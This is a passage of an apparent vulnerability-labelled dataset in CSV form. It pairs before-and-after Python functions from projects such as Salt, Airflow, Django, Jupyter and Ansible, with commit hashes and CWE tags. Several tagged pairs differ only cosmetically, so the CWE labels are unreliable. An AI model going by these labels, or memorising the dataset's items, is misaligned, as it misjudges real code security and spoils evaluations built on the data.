                response = APIRequest._try_transform_response_to_chat_format(response)
            elif len(response) == 1:
                # to maintain existing code, single output chains will still return
                # only the result
                response = response.popitem()[1]
            else:
                self._prepare_to_serialize(response)

        return response"
,UNKNOWN,UNKNOWN,salt/modules/boto_vpc.py,1,"def create_subnet(vpc_id=None, cidr_block=None, vpc_name=None,
                  availability_zone=None, subnet_name=None, tags=None,
                  region=None, key=None, keyid=None, profile=None):
    '''
    Given a valid VPC ID or Name and a CIDR block, create a subnet for the VPC.

    An optional availability zone argument can be provided.

    Returns True if the VPC subnet was created and returns False if the VPC subnet was not created.

    .. versionchanged:: 2015.8.0
        Added vpc_name argument

    CLI Examples:

    .. code-block:: bash

        salt myminion boto_vpc.create_subnet vpc_id='vpc-6b1fe402' \\
                subnet_name='mysubnet' cidr_block='10.0.0.0/25'
        salt myminion boto_vpc.create_subnet vpc_name='myvpc' \\
                subnet_name='mysubnet', cidr_block='10.0.0.0/25'
    '''

    try:
        vpc_id = _check_vpc(vpc_id, vpc_name, region, key, keyid, profile)
        if not vpc_id:
            return {'created': False, 'error': {'message': 'VPC {0} does not exist.'.format(vpc_name or vpc_id)}}
    except BotoServerError as e:
        return {'created': False, 'error': salt.utils.boto.get_error(e)}

    return _create_resource('subnet', name=subnet_name, tags=tags,
                            vpc_id=vpc_id, cidr_block=cidr_block,
                            region=region, key=key, keyid=keyid,
                            profile=profile, availability_zone=availability_zone)",CWE-605,saltstack/salt,1d4fc4d0486d3dfbb9d3377314e5993d1aae2de6,"def create_subnet(vpc_id=None, cidr_block=None, vpc_name=None,
                  availability_zone=None, subnet_name=None, tags=None,
                  region=None, key=None, keyid=None, profile=None):
    '''
    Given a valid VPC ID or Name and a CIDR block, create a subnet for the VPC.

    An optional availability zone argument can be provided.

    Returns True if the VPC subnet was created and returns False if the VPC subnet was not created.

    .. versionchanged:: 2015.8.0
        Added vpc_name argument

    CLI Examples:

    .. code-block:: bash

        salt myminion boto_vpc.create_subnet vpc_id='vpc-6b1fe402' \\
                subnet_name='mysubnet' cidr_block='10.0.0.0/25'
        salt myminion boto_vpc.create_subnet vpc_name='myvpc' \\
                subnet_name='mysubnet', cidr_block='10.0.0.0/25'
    '''

    try:
        vpc_id = _check_vpc(vpc_id, vpc_name, region, key, keyid, profile)
        if not vpc_id:
            return {'created': False, 'error': {'message': 'VPC {0} does not exist.'.format(vpc_name or vpc_id)}}
    except BotoServerError as e:
        return {'created': False, 'error': salt.utils.boto.get_error(e)}

    return _create_resource('subnet', name=subnet_name, tags=tags,
                            vpc_id=vpc_id, cidr_block=cidr_block,
                            region=region, key=key, keyid=keyid,
                            profile=profile)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/kernels/handlers.py,0,"def post(self, kernel_id, action):
        km = self.kernel_manager
        if action == 'interrupt':
            km.interrupt_kernel(kernel_id)
            self.set_status(204)
        if action == 'restart':
            km.restart_kernel(kernel_id)
            model = km.kernel_model(kernel_id,self.ws_url)
            self.set_header('Location', '{0}api/kernels/{1}'.format(self.base_kernel_url, kernel_id))
            self.write(jsonapi.dumps(model))
        self.finish()",,jupyter/notebook,62ec52e27665e7a756a1a496aa99b05d38ed9055,"def post(self, kernel_id, action):
        km = self.kernel_manager
        if action == 'interrupt':
            km.interrupt_kernel(kernel_id)
            self.set_status(204)
        if action == 'restart':
            km.restart_kernel(kernel_id)
            model = km.kernel_model(kernel_id,self.ws_url)
            self.set_header('Location', '{0}kernels/{1}'.format(self.base_kernel_url, kernel_id))
            self.write(jsonapi.dumps(model))
        self.finish()"
,UNKNOWN,UNKNOWN,task_sdk/tests/execution_time/test_supervisor.py,1,"def test_reading_from_pipes(self, captured_logs, time_machine):
        def subprocess_main():
            # This is run in the subprocess!

            # Ensure we follow the ""protocol"" and get the startup message before we do anything
            sys.stdin.readline()

            import logging
            import warnings

            print(""I'm a short message"")
            sys.stdout.write(""Message "")
            print(""stderr message"", file=sys.stderr)
            # We need a short sleep for the main process to process things. I worry this timing will be
            # fragile, but I can't think of a better way. This lets the stdout be read (partial line) and the
            # stderr full line be read
            sleep(0.1)
            sys.stdout.write(""split across two writes\n"")

            logging.getLogger(""airflow.foobar"").error(""An error message"")

            warnings.warn(""Warning should be captured too"", stacklevel=1)

        line = lineno() - 2  # Line the error should be on

        instant = tz.datetime(2024, 11, 7, 12, 34, 56, 78901)
        time_machine.move_to(instant, tick=False)

        proc = WatchedSubprocess.start(
            path=os.devnull,
            what=TaskInstance(
                id=""4d828a62-a417-4936-a7a6-2b3fabacecab"",
                task_id=""b"",
                dag_id=""c"",
                run_id=""d"",
                try_number=1,
            ),
            client=MagicMock(spec=sdk_client.Client),
            target=subprocess_main,
        )

        rc = proc.wait()

        assert rc == 0
        assert captured_logs == unordered(
            [
                {
                    ""chan"": ""stdout"",
                    ""event"": ""I'm a short message"",
                    ""level"": ""info"",
                    ""logger"": ""task"",
                    ""timestamp"": ""2024-11-07T12:34:56.078901Z"",
                },
                {
                    ""chan"": ""stderr"",
                    ""event"": ""stderr message"",
                    ""level"": ""error"",
                    ""logger"": ""task"",
                    ""timestamp"": ""2024-11-07T12:34:56.078901Z"",
                },
                {
                    ""chan"": ""stdout"",
                    ""event"": ""Message split across two writes"",
                    ""level"": ""info"",
                    ""logger"": ""task"",
                    ""timestamp"": ""2024-11-07T12:34:56.078901Z"",
                },
                {
                    ""event"": ""An error message"",
                    ""level"": ""error"",
                    ""logger"": ""airflow.foobar"",
                    ""timestamp"": instant.replace(tzinfo=None),
                },
                {
                    ""category"": ""UserWarning"",
                    ""event"": ""Warning should be captured too"",
                    ""filename"": __file__,
                    ""level"": ""warning"",
                    ""lineno"": line,
                    ""logger"": ""py.warnings"",
                    ""timestamp"": instant.replace(tzinfo=None),
                },
            ]
        )",CWE-703,apache/airflow,f585a8016bcf4622eb0e7076fde3c49e9ac50d18,"def test_reading_from_pipes(self, captured_logs, time_machine):
        def subprocess_main():
            # This is run in the subprocess!

            # Ensure we follow the ""protocol"" and get the startup message before we do anything
            sys.stdin.readline()

            import logging
            import warnings

            print(""I'm a short message"")
            sys.stdout.write(""Message "")
            print(""stderr message"", file=sys.stderr)
            # We need a short sleep for the main process to process things. I worry this timing will be
            # fragile, but I can't think of a better way. This lets the stdout be read (partial line) and the
            # stderr full line be read
            sleep(0.1)
            sys.stdout.write(""split across two writes\n"")

            logging.getLogger(""airflow.foobar"").error(""An error message"")

            warnings.warn(""Warning should be captured too"", stacklevel=1)

        line = lineno() - 2  # Line the error should be on

        instant = tz.datetime(2024, 11, 7, 12, 34, 56, 78901)
        time_machine.move_to(instant, tick=False)

        proc = WatchedSubprocess.start(
            path=os.devnull,
            ti=TaskInstance(
                id=""4d828a62-a417-4936-a7a6-2b3fabacecab"",
                task_id=""b"",
                dag_id=""c"",
                run_id=""d"",
                try_number=1,
            ),
            client=MagicMock(spec=sdk_client.Client),
            target=subprocess_main,
        )

        rc = proc.wait()

        assert rc == 0
        assert captured_logs == unordered(
            [
                {
                    ""chan"": ""stdout"",
                    ""event"": ""I'm a short message"",
                    ""level"": ""info"",
                    ""logger"": ""task"",
                    ""timestamp"": ""2024-11-07T12:34:56.078901Z"",
                },
                {
                    ""chan"": ""stderr"",
                    ""event"": ""stderr message"",
                    ""level"": ""error"",
                    ""logger"": ""task"",
                    ""timestamp"": ""2024-11-07T12:34:56.078901Z"",
                },
                {
                    ""chan"": ""stdout"",
                    ""event"": ""Message split across two writes"",
                    ""level"": ""info"",
                    ""logger"": ""task"",
                    ""timestamp"": ""2024-11-07T12:34:56.078901Z"",
                },
                {
                    ""event"": ""An error message"",
                    ""level"": ""error"",
                    ""logger"": ""airflow.foobar"",
                    ""timestamp"": instant.replace(tzinfo=None),
                },
                {
                    ""category"": ""UserWarning"",
                    ""event"": ""Warning should be captured too"",
                    ""filename"": __file__,
                    ""level"": ""warning"",
                    ""lineno"": line,
                    ""logger"": ""py.warnings"",
                    ""timestamp"": instant.replace(tzinfo=None),
                },
            ]
        )"
,UNKNOWN,UNKNOWN,django/db/models/sql/query.py,1,"def promote_joins(self, aliases):
        """"""
        Promotes recursively the join type of given aliases and its children to
        an outer join. If 'unconditional' is False, the join is only promoted if
        it is nullable or the parent join is an outer join.

        The children promotion is done to avoid join chains that contain a LOUTER
        b INNER c. So, if we have currently a INNER b INNER c and a->b is promoted,
        then we must also promote b->c automatically, or otherwise the promotion
        of a->b doesn't actually change anything in the query results.
        """"""
        aliases = list(aliases)
        while aliases:
            alias = aliases.pop(0)
            if self.alias_map[alias].join_type is None:
                # This is the base table (first FROM entry) - this table
                # isn't really joined at all in the query, so we should not
                # alter its join type.
                continue
            # Only the first alias (skipped above) should have None join_type
            assert self.alias_map[alias].join_type is not None
            parent_alias = self.alias_map[alias].parent_alias
            parent_louter = parent_alias and self.alias_map[parent_alias].join_type == LOUTER
            already_louter = self.alias_map[alias].join_type == LOUTER
            if ((self.alias_map[alias].nullable or parent_louter) and
                    not already_louter):
                self.alias_map[alias] = self.alias_map[alias].promote()
                # Join type of 'alias' changed, so re-examine all aliases that
                # refer to this one.
                aliases.extend(
                    join for join in self.alias_map.keys()
                    if self.alias_map[join].parent_alias == alias and join not in aliases
                )",CWE-703,django/django,2cd2d188516475ddf256e6267cd82c495fb5c430,"def promote_joins(self, aliases):
        """"""
        Promotes recursively the join type of given aliases and its children to
        an outer join. If 'unconditional' is False, the join is only promoted if
        it is nullable or the parent join is an outer join.

        The children promotion is done to avoid join chains that contain a LOUTER
        b INNER c. So, if we have currently a INNER b INNER c and a->b is promoted,
        then we must also promote b->c automatically, or otherwise the promotion
        of a->b doesn't actually change anything in the query results.
        """"""
        aliases = list(aliases)
        while aliases:
            alias = aliases.pop(0)
            if self.alias_map[alias].join_type is None:
                # This is the base table (first FROM entry) - this table
                # isn't really joined at all in the query, so we should not
                # alter its join type.
                continue
            # Only the first alias (skipped above) should have None join_type
            assert self.alias_map[alias].join_type is not None
            parent_alias = self.alias_map[alias].parent_alias
            parent_louter = (
                parent_alias
                and self.alias_map[parent_alias].join_type == LOUTER)
            already_louter = self.alias_map[alias].join_type == LOUTER
            if ((self.alias_map[alias].nullable or parent_louter) and
                    not already_louter):
                self.alias_map[alias] = self.alias_map[alias].promote()
                # Join type of 'alias' changed, so re-examine all aliases that
                # refer to this one.
                aliases.extend(
                    join for join in self.alias_map.keys()
                    if (self.alias_map[join].parent_alias == alias
                        and join not in aliases))"
,UNKNOWN,UNKNOWN,tests/store/tracking/test_sqlalchemy_store.py,1,"def test_log_batch_param_overwrite_disallowed(self):
        # Test that attempting to overwrite a param via log_batch results in an exception and that
        # no partial data is logged
        run = self._run_factory()
        tkey = ""my-param""
        param = entities.Param(tkey, ""orig-val"")
        self.store.log_param(run.info.run_id, param)

        overwrite_param = entities.Param(tkey, ""newval"")
        tag = entities.RunTag(""tag-key"", ""tag-val"")
        metric = entities.Metric(""metric-key"", 3.0, 12345, 0)
        with pytest.raises(
            MlflowException, match=r""Changing param values is not allowed""
        ) as exception_context:
            self.store.log_batch(
                run.info.run_id, metrics=[metric], params=[overwrite_param], tags=[tag]
            )
        assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
        self._verify_logged(self.store, run.info.run_id, metrics=[], params=[param], tags=[])",CWE-703,mlflow/mlflow,8e7e88da3495e2c287f982d4a7fc20cd51db1139,"def test_log_batch_param_overwrite_disallowed(self):
        # Test that attempting to overwrite a param via log_batch results in an exception and that
        # no partial data is logged
        run = self._run_factory()
        tkey = ""my-param""
        param = entities.Param(tkey, ""orig-val"")
        self.store.log_param(run.info.run_id, param)

        overwrite_param = entities.Param(tkey, ""newval"")
        tag = entities.RunTag(""tag-key"", ""tag-val"")
        metric = entities.Metric(""metric-key"", 3.0, 12345, 0)
        with pytest.raises(
            MlflowException, match=r""Changing param values is not allowed""
        ) as exception_context:
            self.store.log_batch(
                run.info.run_id, metrics=[metric], params=[overwrite_param], tags=[tag]
            )
        assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)
        self._verify_logged(self.store, run.info.run_id, metrics=[], params=[param], tags=[])"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/testsuite/templating.py,0,"def index():
            return flask.render_template('context_template.html', value=23)",,pallets/flask,97815b999e831205b90018e81569b55ef8fd0043,"def index():
            return flask.render_template('context_template.html', value=23)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/utils.py,0,"def __init__(self, config_locations):
        message = (""no config found - tried: "" +
                   "", "".join(config_locations))
        super(NoConfigFileFound, self).__init__(message)",UNKNOWN,PyCQA/bandit,9f43cabd45420ade99eac3670fb95f236c29ea60,"def __init__(self, config_locations):
        message = (""no config found - tried: "" +
                   "", "".join(config_locations))
        super(NoConfigFileFound, self).__init__(message)"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/introspection.py,1,"def get_constraints(self, cursor, table_name):
        """"""
        Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns.
        """"""
        constraints = {}
        # Get the index info
        cursor.execute(""PRAGMA index_list(%s)"" % self.connection.ops.quote_name(table_name))
        for row in cursor.fetchall():
            # Sqlite3 3.8.9+ has 5 columns, however older versions only give 3
            # columns. Discard last 2 columns if there.
            number, index, unique = row[:3]
            # Get the index info for that index
            cursor.execute('PRAGMA index_info(%s)' % self.connection.ops.quote_name(index))
            for index_rank, column_rank, column in cursor.fetchall():
                if index not in constraints:
                    constraints[index] = {
                        ""columns"": [],
                        ""primary_key"": False,
                        ""unique"": bool(unique),
                        ""foreign_key"": False,
                        ""check"": False,
                        ""index"": True,
                    }
                constraints[index]['columns'].append(column)
            # Add type and column orders for indexes
            if constraints[index]['index'] and not constraints[index]['unique']:
                # SQLite doesn't support any index type other than b-tree
                constraints[index]['type'] = 'btree'
                cursor.execute(
                    ""SELECT sql FROM sqlite_master ""
                    ""WHERE type='index' AND name=%s"" % self.connection.ops.quote_name(index)
                )
                orders = []
                # There would be only 1 row to loop over
                for sql, in cursor.fetchall():
                    order_info = sql.split('(')[-1].split(')')[0].split(',')
                    orders = ['DESC' if info.endswith('DESC') else 'ASC' for info in order_info]
                constraints[index]['orders'] = orders
        # Get the PK
        pk_column = self.get_primary_key_column(cursor, table_name)
        if pk_column:
            # SQLite doesn't actually give a name to the PK constraint,
            # so we invent one. This is fine, as the SQLite backend never
            # deletes PK constraints by name, as you can't delete constraints
            # in SQLite; we remake the table with a new PK instead.
            constraints[""__primary__""] = {
                ""columns"": [pk_column],
                ""primary_key"": True,
                ""unique"": False,  # It's not actually a unique constraint.
                ""foreign_key"": False,
                ""check"": False,
                ""index"": False,
            }
        return constraints",CWE-89,django/django,dbccf163b6e45bf2a673c249d4667360676acddc,"def get_constraints(self, cursor, table_name):
        """"""
        Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns.
        """"""
        constraints = {}
        # Get the index info
        cursor.execute(""PRAGMA index_list(%s)"" % self.connection.ops.quote_name(table_name))
        for row in cursor.fetchall():
            # Sqlite3 3.8.9+ has 5 columns, however older versions only give 3
            # columns. Discard last 2 columns if there.
            number, index, unique = row[:3]
            # Get the index info for that index
            cursor.execute('PRAGMA index_info(%s)' % self.connection.ops.quote_name(index))
            for index_rank, column_rank, column in cursor.fetchall():
                if index not in constraints:
                    constraints[index] = {
                        ""columns"": [],
                        ""primary_key"": False,
                        ""unique"": bool(unique),
                        ""foreign_key"": False,
                        ""check"": False,
                        ""index"": True,
                    }
                constraints[index]['columns'].append(column)
            # Add column orders for indexes
            if constraints[index]['index'] and not constraints[index]['unique']:
                cursor.execute(
                    ""SELECT sql FROM sqlite_master ""
                    ""WHERE type='index' AND name=%s"" % self.connection.ops.quote_name(index)
                )
                orders = []
                # There would be only 1 row to loop over
                for sql, in cursor.fetchall():
                    order_info = sql.split('(')[-1].split(')')[0].split(',')
                    orders = ['DESC' if info.endswith('DESC') else 'ASC' for info in order_info]
                constraints[index]['orders'] = orders
        # Get the PK
        pk_column = self.get_primary_key_column(cursor, table_name)
        if pk_column:
            # SQLite doesn't actually give a name to the PK constraint,
            # so we invent one. This is fine, as the SQLite backend never
            # deletes PK constraints by name, as you can't delete constraints
            # in SQLite; we remake the table with a new PK instead.
            constraints[""__primary__""] = {
                ""columns"": [pk_column],
                ""primary_key"": True,
                ""unique"": False,  # It's not actually a unique constraint.
                ""foreign_key"": False,
                ""check"": False,
                ""index"": False,
            }
        return constraints"
,UNKNOWN,UNKNOWN,lib/ansible/modules/system/pam_limits.py,1,"def main():

    pam_items = ['core', 'data', 'fsize', 'memlock', 'nofile', 'rss', 'stack', 'cpu', 'nproc', 'as', 'maxlogins', 'maxsyslogins', 'priority', 'locks',
                 'sigpending', 'msgqueue', 'nice', 'rtprio', 'chroot']

    pam_types = [ 'soft', 'hard', '-' ]

    limits_conf = '/etc/security/limits.conf'

    module = AnsibleModule(
        # not checking because of daisy chain to file module
        argument_spec = dict(
            domain            = dict(required=True, type='str'),
            limit_type        = dict(required=True, type='str', choices=pam_types),
            limit_item        = dict(required=True, type='str', choices=pam_items),
            value             = dict(required=True, type='str'),
            use_max           = dict(default=False, type='bool'),
            use_min           = dict(default=False, type='bool'),
            backup            = dict(default=False, type='bool'),
            dest              = dict(default=limits_conf, type='str'),
            comment           = dict(required=False, default='', type='str')
        )
    )

    domain      =       module.params['domain']
    limit_type  =       module.params['limit_type']
    limit_item  =       module.params['limit_item']
    value       =       module.params['value']
    use_max     =       module.params['use_max']
    use_min     =       module.params['use_min']
    backup      =       module.params['backup']
    limits_conf =       module.params['dest']
    new_comment =       module.params['comment']

    changed = False

    if os.path.isfile(limits_conf):
        if not os.access(limits_conf, os.W_OK):
            module.fail_json(msg=""%s is not writable. Use sudo"" % (limits_conf) )
    else:
        module.fail_json(msg=""%s is not visible (check presence, access rights, use sudo)"" % (limits_conf) )

    if use_max and use_min:
        module.fail_json(msg=""Cannot use use_min and use_max at the same time."" )

    if not (value in ['unlimited', 'infinity', '-1'] or value.isdigit()):
        module.fail_json(msg=""Argument 'value' can be one of 'unlimited', 'infinity', '-1' or positive number. Refer to manual pages for more details."")

    # Backup
    if backup:
        backup_file = module.backup_local(limits_conf)

    space_pattern = re.compile(r'\s+')

    message = ''
    f = open (limits_conf, 'rb')
    # Tempfile
    nf = tempfile.NamedTemporaryFile(mode='w+')

    found = False
    new_value = value

    for line in f:
        line = to_native(line, errors='surrogate_or_strict')
        if line.startswith('#'):
            nf.write(line)
            continue

        newline = re.sub(space_pattern, ' ', line).strip()
        if not newline:
            nf.write(line)
            continue

        # Remove comment in line
        newline = newline.split('#',1)[0]
        try:
            old_comment = line.split('#',1)[1]
        except:
            old_comment = ''

        newline = newline.rstrip()

        if not new_comment:
            new_comment = old_comment

        line_fields = newline.split(' ')

        if len(line_fields) != 4:
            nf.write(line)
            continue

        line_domain     = line_fields[0]
        line_type       = line_fields[1]
        line_item       = line_fields[2]
        actual_value    = line_fields[3]

        if not (actual_value in ['unlimited', 'infinity', '-1'] or actual_value.isdigit()):
            module.fail_json(msg=""Invalid configuration of '%s'. Current value of %s is unsupported."" % (limits_conf, line_item))

        # Found the line
        if line_domain == domain and line_type == limit_type and line_item == limit_item:
            found = True
            if value == actual_value:
                message = line
                nf.write(line)
                continue

            actual_value_unlimited = actual_value in ['unlimited', 'infinity', '-1']
            value_unlimited = value in ['unlimited', 'infinity', '-1']

            if use_max:
                if value.isdigit() and actual_value.isdigit():
                    new_value = str(max(int(value), int(actual_value)))
                elif actual_value_unlimited:
                    new_value = actual_value
                else:
                    new_value = value

            if use_min:
                if value.isdigit() and actual_value.isdigit():
                    new_value = str(min(int(value), int(actual_value)))
                elif value_unlimited:
                    new_value = actual_value
                else:
                    new_value = value

            # Change line only if value has changed
            if new_value != actual_value:
                changed = True
                if new_comment:
                    new_comment = ""\t#"" + new_comment
                new_limit = domain + ""\t"" + limit_type + ""\t"" + limit_item + ""\t"" + new_value + new_comment + ""\n""
                message = new_limit
                nf.write(new_limit)
            else:
                message = line
                nf.write(line)
        else:
            nf.write(line)

    if not found:
        changed = True
        if new_comment:
            new_comment = ""\t#""+new_comment
        new_limit = domain + ""\t"" + limit_type + ""\t"" + limit_item + ""\t"" + new_value + new_comment + ""\n""
        message = new_limit
        nf.write(new_limit)

    f.close()
    nf.flush()

    # Copy tempfile to newfile
    module.atomic_move(nf.name, f.name)

    try:
        nf.close()
    except:
        pass

    res_args = dict(
        changed = changed, msg = message
    )

    if backup:
        res_args['backup_file'] = backup_file

    module.exit_json(**res_args)",CWE-703,ansible/ansible,09cc84c7965fd71f489dfd477010c5a55df57531,"def main():

    pam_items = ['core', 'data', 'fsize', 'memlock', 'nofile', 'rss', 'stack', 'cpu', 'nproc', 'as', 'maxlogins', 'maxsyslogins', 'priority', 'locks',
                 'sigpending', 'msgqueue', 'nice', 'rtprio', 'chroot']

    pam_types = [ 'soft', 'hard', '-' ]

    limits_conf = '/etc/security/limits.conf'

    module = AnsibleModule(
        # not checking because of daisy chain to file module
        argument_spec = dict(
            domain            = dict(required=True, type='str'),
            limit_type        = dict(required=True, type='str', choices=pam_types),
            limit_item        = dict(required=True, type='str', choices=pam_items),
            value             = dict(required=True, type='str'),
            use_max           = dict(default=False, type='bool'),
            use_min           = dict(default=False, type='bool'),
            backup            = dict(default=False, type='bool'),
            dest              = dict(default=limits_conf, type='str'),
            comment           = dict(required=False, default='', type='str')
        )
    )

    domain      =       module.params['domain']
    limit_type  =       module.params['limit_type']
    limit_item  =       module.params['limit_item']
    value       =       module.params['value']
    use_max     =       module.params['use_max']
    use_min     =       module.params['use_min']
    backup      =       module.params['backup']
    limits_conf =       module.params['dest']
    new_comment =       module.params['comment']

    changed = False

    if os.path.isfile(limits_conf):
        if not os.access(limits_conf, os.W_OK):
            module.fail_json(msg=""%s is not writable. Use sudo"" % (limits_conf) )
    else:
        module.fail_json(msg=""%s is not visible (check presence, access rights, use sudo)"" % (limits_conf) )

    if use_max and use_min:
        module.fail_json(msg=""Cannot use use_min and use_max at the same time."" )

    if not (value in ['unlimited', 'infinity', '-1'] or value.isdigit()):
        module.fail_json(msg=""Argument 'value' can be one of 'unlimited', 'infinity', '-1' or positive number. Refer to manual pages for more details."")

    # Backup
    if backup:
        backup_file = module.backup_local(limits_conf)

    space_pattern = re.compile(r'\s+')

    message = ''
    f = open (limits_conf, 'rb')
    # Tempfile
    nf = tempfile.NamedTemporaryFile(mode='w+')

    found = False
    new_value = value

    for line in f:
        line = to_native(line, errors='surrogate_or_strict')
        if line.startswith('#'):
            nf.write(line)
            continue

        newline = re.sub(space_pattern, ' ', line).strip()
        if not newline:
            nf.write(line)
            continue

        # Remove comment in line
        newline = newline.split('#',1)[0]
        try:
            old_comment = line.split('#',1)[1]
        except:
            old_comment = ''

        newline = newline.rstrip()

        if not new_comment:
            new_comment = old_comment

        if new_comment:
            new_comment = ""\t#""+new_comment

        line_fields = newline.split(' ')

        if len(line_fields) != 4:
            nf.write(line)
            continue

        line_domain     = line_fields[0]
        line_type       = line_fields[1]
        line_item       = line_fields[2]
        actual_value    = line_fields[3]

        if not (actual_value in ['unlimited', 'infinity', '-1'] or actual_value.isdigit()):
            module.fail_json(msg=""Invalid configuration of '%s'. Current value of %s is unsupported."" % (limits_conf, line_item))

        # Found the line
        if line_domain == domain and line_type == limit_type and line_item == limit_item:
            found = True
            if value == actual_value:
                message = line
                nf.write(line)
                continue

            actual_value_unlimited = actual_value in ['unlimited', 'infinity', '-1']
            value_unlimited = value in ['unlimited', 'infinity', '-1']

            if use_max:
                if value.isdigit() and actual_value.isdigit():
                    new_value = str(max(int(value), int(actual_value)))
                elif actual_value_unlimited:
                    new_value = actual_value
                else:
                    new_value = value

            if use_min:
                if value.isdigit() and actual_value.isdigit():
                    new_value = str(min(int(value), int(actual_value)))
                elif value_unlimited:
                    new_value = actual_value
                else:
                    new_value = value

            # Change line only if value has changed
            if new_value != actual_value:
                changed = True
                new_limit = domain + ""\t"" + limit_type + ""\t"" + limit_item + ""\t"" + new_value + new_comment + ""\n""
                message = new_limit
                nf.write(new_limit)
            else:
                message = line
                nf.write(line)
        else:
            nf.write(line)

    if not found:
        changed = True
        new_limit = domain + ""\t"" + limit_type + ""\t"" + limit_item + ""\t"" + new_value + new_comment + ""\n""
        message = new_limit
        nf.write(new_limit)

    f.close()
    nf.flush()

    # Copy tempfile to newfile
    module.atomic_move(nf.name, f.name)

    try:
        nf.close()
    except:
        pass

    res_args = dict(
        changed = changed, msg = message
    )

    if backup:
        res_args['backup_file'] = backup_file

    module.exit_json(**res_args)"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/jobs/test_scheduler_job.py,1,"def test_recreate_unhealthy_scheduler_spans_if_needed(self, ti_state, final_ti_span_status, dag_maker):
        with dag_maker(
            dag_id=""test_recreate_unhealthy_scheduler_spans_if_needed"",
            start_date=DEFAULT_DATE,
            max_active_runs=1,
            dagrun_timeout=datetime.timedelta(seconds=60),
        ):
            EmptyOperator(task_id=""dummy"")

        session = settings.Session()

        old_job = Job()
        old_job.job_type = SchedulerJobRunner.job_type

        session.add(old_job)
        session.commit()

        assert old_job.is_alive() is False

        new_job = Job()
        new_job.job_type = SchedulerJobRunner.job_type
        session.add(new_job)
        session.flush()

        self.job_runner = SchedulerJobRunner(job=new_job)
        self.job_runner.active_spans = ThreadSafeDict()
        assert len(self.job_runner.active_spans.get_all()) == 0

        dr = dag_maker.create_dagrun()
        dr.state = State.RUNNING
        dr.span_status = SpanStatus.ACTIVE
        dr.scheduled_by_job_id = old_job.id

        ti = dr.get_task_instances(session=session)[0]
        ti.state = ti_state
        ti.start_date = timezone.utcnow()
        ti.span_status = SpanStatus.ACTIVE
        ti.queued_by_job_id = old_job.id
        session.merge(ti)
        session.merge(dr)
        session.commit()

        assert dr.scheduled_by_job_id != self.job_runner.job.id
        assert dr.scheduled_by_job_id == old_job.id
        assert dr.run_id is not None
        assert dr.state == State.RUNNING
        assert dr.span_status == SpanStatus.ACTIVE
        assert self.job_runner.active_spans.get(""dr:"" + str(dr.id)) is None

        assert self.job_runner.active_spans.get(""ti:"" + ti.id) is None
        assert ti.state == ti_state
        assert ti.span_status == SpanStatus.ACTIVE

        self.job_runner._recreate_unhealthy_scheduler_spans_if_needed(dr, session)

        assert self.job_runner.active_spans.get(""dr:"" + str(dr.id)) is not None

        if final_ti_span_status == SpanStatus.ACTIVE:
            assert self.job_runner.active_spans.get(""ti:"" + ti.id) is not None
            assert len(self.job_runner.active_spans.get_all()) == 2
        else:
            assert self.job_runner.active_spans.get(""ti:"" + ti.id) is None
            assert len(self.job_runner.active_spans.get_all()) == 1

        assert dr.span_status == SpanStatus.ACTIVE
        assert ti.span_status == final_ti_span_status",CWE-703,apache/airflow,3fa68e670f608973133aeabba2c99988110b39d0,"def test_recreate_unhealthy_scheduler_spans_if_needed(self, ti_state, final_ti_span_status, dag_maker):
        with dag_maker(
            dag_id=""test_recreate_unhealthy_scheduler_spans_if_needed"",
            start_date=DEFAULT_DATE,
            max_active_runs=1,
            dagrun_timeout=datetime.timedelta(seconds=60),
        ):
            EmptyOperator(task_id=""dummy"")

        session = settings.Session()

        old_job = Job()
        old_job.job_type = SchedulerJobRunner.job_type

        session.add(old_job)
        session.commit()

        assert old_job.is_alive() is False

        new_job = Job()
        new_job.job_type = SchedulerJobRunner.job_type
        session.add(new_job)
        session.flush()

        self.job_runner = SchedulerJobRunner(job=new_job)
        self.job_runner.active_spans = ThreadSafeDict()
        assert len(self.job_runner.active_spans.get_all()) == 0

        dr = dag_maker.create_dagrun()
        dr.state = State.RUNNING
        dr.span_status = SpanStatus.ACTIVE
        dr.scheduled_by_job_id = old_job.id

        ti = dr.get_task_instances(session=session)[0]
        ti.state = ti_state
        ti.start_date = timezone.utcnow()
        ti.span_status = SpanStatus.ACTIVE
        ti.queued_by_job_id = old_job.id
        session.merge(ti)
        session.merge(dr)
        session.commit()

        assert dr.scheduled_by_job_id != self.job_runner.job.id
        assert dr.scheduled_by_job_id == old_job.id
        assert dr.run_id is not None
        assert dr.state == State.RUNNING
        assert dr.span_status == SpanStatus.ACTIVE
        assert self.job_runner.active_spans.get(dr.run_id) is None

        assert self.job_runner.active_spans.get(ti.key) is None
        assert ti.state == ti_state
        assert ti.span_status == SpanStatus.ACTIVE

        self.job_runner._recreate_unhealthy_scheduler_spans_if_needed(dr, session)

        assert self.job_runner.active_spans.get(dr.run_id) is not None

        if final_ti_span_status == SpanStatus.ACTIVE:
            assert self.job_runner.active_spans.get(ti.key) is not None
            assert len(self.job_runner.active_spans.get_all()) == 2
        else:
            assert self.job_runner.active_spans.get(ti.key) is None
            assert len(self.job_runner.active_spans.get_all()) == 1

        assert dr.span_status == SpanStatus.ACTIVE
        assert ti.span_status == final_ti_span_status"
,UNKNOWN,UNKNOWN,notebook/tests/test_utils.py,1,"def test_is_hidden_win32():
    with TemporaryDirectory() as root:
        root = cast_unicode(root)
        subdir1 = os.path.join(root, 'subdir')
        os.makedirs(subdir1)
        assert not is_hidden(subdir1, root)
        r = ctypes.windll.kernel32.SetFileAttributesW(subdir1, 0x02)
        print(r)
        assert is_hidden(subdir1, root)
        assert is_file_hidden(subdir1)",CWE-703,jupyter/notebook,4ba07e130f3c0df31b878af99a9b3e8123b69948,"def test_is_hidden_win32():
    with TemporaryDirectory() as root:
        root = cast_unicode(root)
        subdir1 = os.path.join(root, u'subdir')
        os.makedirs(subdir1)
        assert not is_hidden(subdir1, root)
        r = ctypes.windll.kernel32.SetFileAttributesW(subdir1, 0x02)
        print(r)
        assert is_hidden(subdir1, root)
        assert is_file_hidden(subdir1)"
